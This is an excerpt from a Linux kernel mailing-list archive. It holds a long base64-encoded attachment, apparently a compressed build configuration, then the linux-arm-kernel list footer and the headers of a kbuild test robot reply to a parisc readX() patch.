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

--wRRV7LY7NUeQGEoC
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-arm-kernel mailing list
linux-arm-kernel@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

--wRRV7LY7NUeQGEoC--



From - Thu Nov 08 21:41:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] parisc: use the asm-generic version for readX()
Date: Tue, 17 Apr 2018 12:57:14 +0800
Lines: 360
Approved: news@gmane.org
Message-ID: <201804171252.ib5KDLNm%fengguang.wu@intel.com>
References: <1523916078-23049-2-git-send-email-okaya@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="fdj2RfSjLxBAspz7"
X-Trace: blaine.gmane.org 1523940941 709 195.159.176.226 (17 Apr 2018 04:55:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 04:55:41 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@linux-mips.org, arnd@arndb.de,
        timur@codeaurora.org, sulrich@codeaurora.org,
        linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        Sinan Kaya <okaya@codeaurora.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Sinan Kaya <okaya@codeaurora.org>
